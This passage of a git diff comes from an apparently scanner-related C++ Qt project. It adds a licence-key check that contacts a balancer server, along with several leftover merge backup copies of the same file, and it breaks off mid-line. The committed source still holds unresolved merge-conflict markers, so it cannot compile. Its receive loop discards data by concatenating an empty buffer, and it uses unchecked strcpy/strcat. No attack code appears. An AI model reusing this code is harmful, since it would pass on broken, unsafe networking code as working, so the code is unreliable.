+ CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +<<<<<<< HEAD + + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); + +======= +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +<<<<<<< HEAD + + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); + +======= +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { +<<<<<<< HEAD + +======= +#pragma region QTGUI_Area +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +<<<<<<< HEAD + +======= +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { +<<<<<<< HEAD + +======= +#pragma region QTGUI_Area +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; +<<<<<<< HEAD + +======= +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.BACKUP.2915.cpp b/CheckKey_Th.cpp.BACKUP.2915.cpp new file mode 100644 index 0000000..64dccb8 --- /dev/null +++ b/CheckKey_Th.cpp.BACKUP.2915.cpp @@ -0,0 +1,300 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +<<<<<<< HEAD + + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); + +======= +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +<<<<<<< HEAD + + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); + +======= +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { +<<<<<<< HEAD + +======= +#pragma region QTGUI_Area +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +<<<<<<< HEAD + +======= +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { +<<<<<<< HEAD + +======= +#pragma region QTGUI_Area +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; +<<<<<<< HEAD + +======= +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.BASE.2427.cpp b/CheckKey_Th.cpp.BASE.2427.cpp new file mode 100644 index 0000000..e69de29 diff --git a/CheckKey_Th.cpp.BASE.2593.cpp b/CheckKey_Th.cpp.BASE.2593.cpp new file mode 100644 index 0000000..e69de29 diff --git a/CheckKey_Th.cpp.BASE.2715.cpp b/CheckKey_Th.cpp.BASE.2715.cpp new file mode 100644 index 0000000..e69de29 diff --git a/CheckKey_Th.cpp.BASE.2915.cpp b/CheckKey_Th.cpp.BASE.2915.cpp new file mode 100644 index 0000000..e69de29 diff --git a/CheckKey_Th.cpp.LOCAL.2427.cpp b/CheckKey_Th.cpp.LOCAL.2427.cpp new file mode 100644 index 0000000..6ee1ba7 --- /dev/null +++ b/CheckKey_Th.cpp.LOCAL.2427.cpp @@ -0,0 +1,270 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { + + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); + + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { + + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); + + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { + + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { + + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; + + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.LOCAL.2593.cpp b/CheckKey_Th.cpp.LOCAL.2593.cpp new file mode 100644 index 0000000..6ee1ba7 --- /dev/null +++ b/CheckKey_Th.cpp.LOCAL.2593.cpp @@ -0,0 +1,270 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { + + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); + + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { + + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); + + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { + + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { + + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; + + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.LOCAL.2715.cpp b/CheckKey_Th.cpp.LOCAL.2715.cpp new file mode 100644 index 0000000..6ee1ba7 --- /dev/null +++ b/CheckKey_Th.cpp.LOCAL.2715.cpp @@ -0,0 +1,270 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = 